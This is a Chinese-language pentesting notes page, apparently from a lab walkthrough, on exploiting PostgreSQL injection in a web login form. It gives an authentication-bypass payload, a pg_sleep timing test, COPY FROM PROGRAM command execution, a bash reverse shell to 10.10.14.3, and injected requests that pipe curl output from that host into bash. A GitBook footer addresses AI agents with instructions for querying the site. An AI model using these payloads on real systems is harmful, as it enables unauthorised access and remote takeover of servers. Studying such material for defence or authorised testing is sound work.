> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).

# PostgreSQL 注入

{% hint style="info" %}
PostgreSQL 是一个强大的开源对象关系型数据库管理系统，能够安全地处理最复杂的数据负载。
{% endhint %}

在提交这些凭据时：

```sql
用户名：'
密码：'

```

出现了一个 SQL 错误，提供了一个基于 PostgreSQL 的 `pg_query`.

<figure><img src="/files/1c7f1789076a6267ac8efdb03b9a62c10f6be702" alt=""><figcaption></figcaption></figure>

### **利用**

测试一个经典的有效载荷注入：

```vbnet
用户名：' OR 1=1-- -
密码：任意内容

```

我们获得了管理员仪表板的访问权限。

<figure><img src="/files/86834e2c41bb8ac4b1a61fcd054c340045115fc7" alt="" width="563"><figcaption></figcaption></figure>

使用以下工具拦截请求： **Burp Suite** 并使用诸如以下资源： **HackTricks** 来调整注入。

<figure><img src="/files/991d28bc1423fc1d1aff1d44dc0db3bf08d3c16c" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### 要测试注入是否允许命令执行，请使用：

`;select pg_sleep(10);-- -` 如果响应花费了 10 秒，那么该注入是可利用的。

<figure><img src="/files/ccbd73432e646b0dd29c61ed6b29d56a216a2363" alt=""><figcaption></figcaption></figure>

### **命令执行**

下面是一个获取远程命令执行（RCE）的示例：

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

```

创建一个文件 `index.html` 包含：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

启动一个 HTTP 服务器：

```bash
python3 -m http.server 80

```

配置一个监听器：

```bash
nc -nvlp 443

```

发送有效载荷：

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d

```

<figure><img src="/files/9a8ec64b2fceb5ac6df38122494840c391ec5f94" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
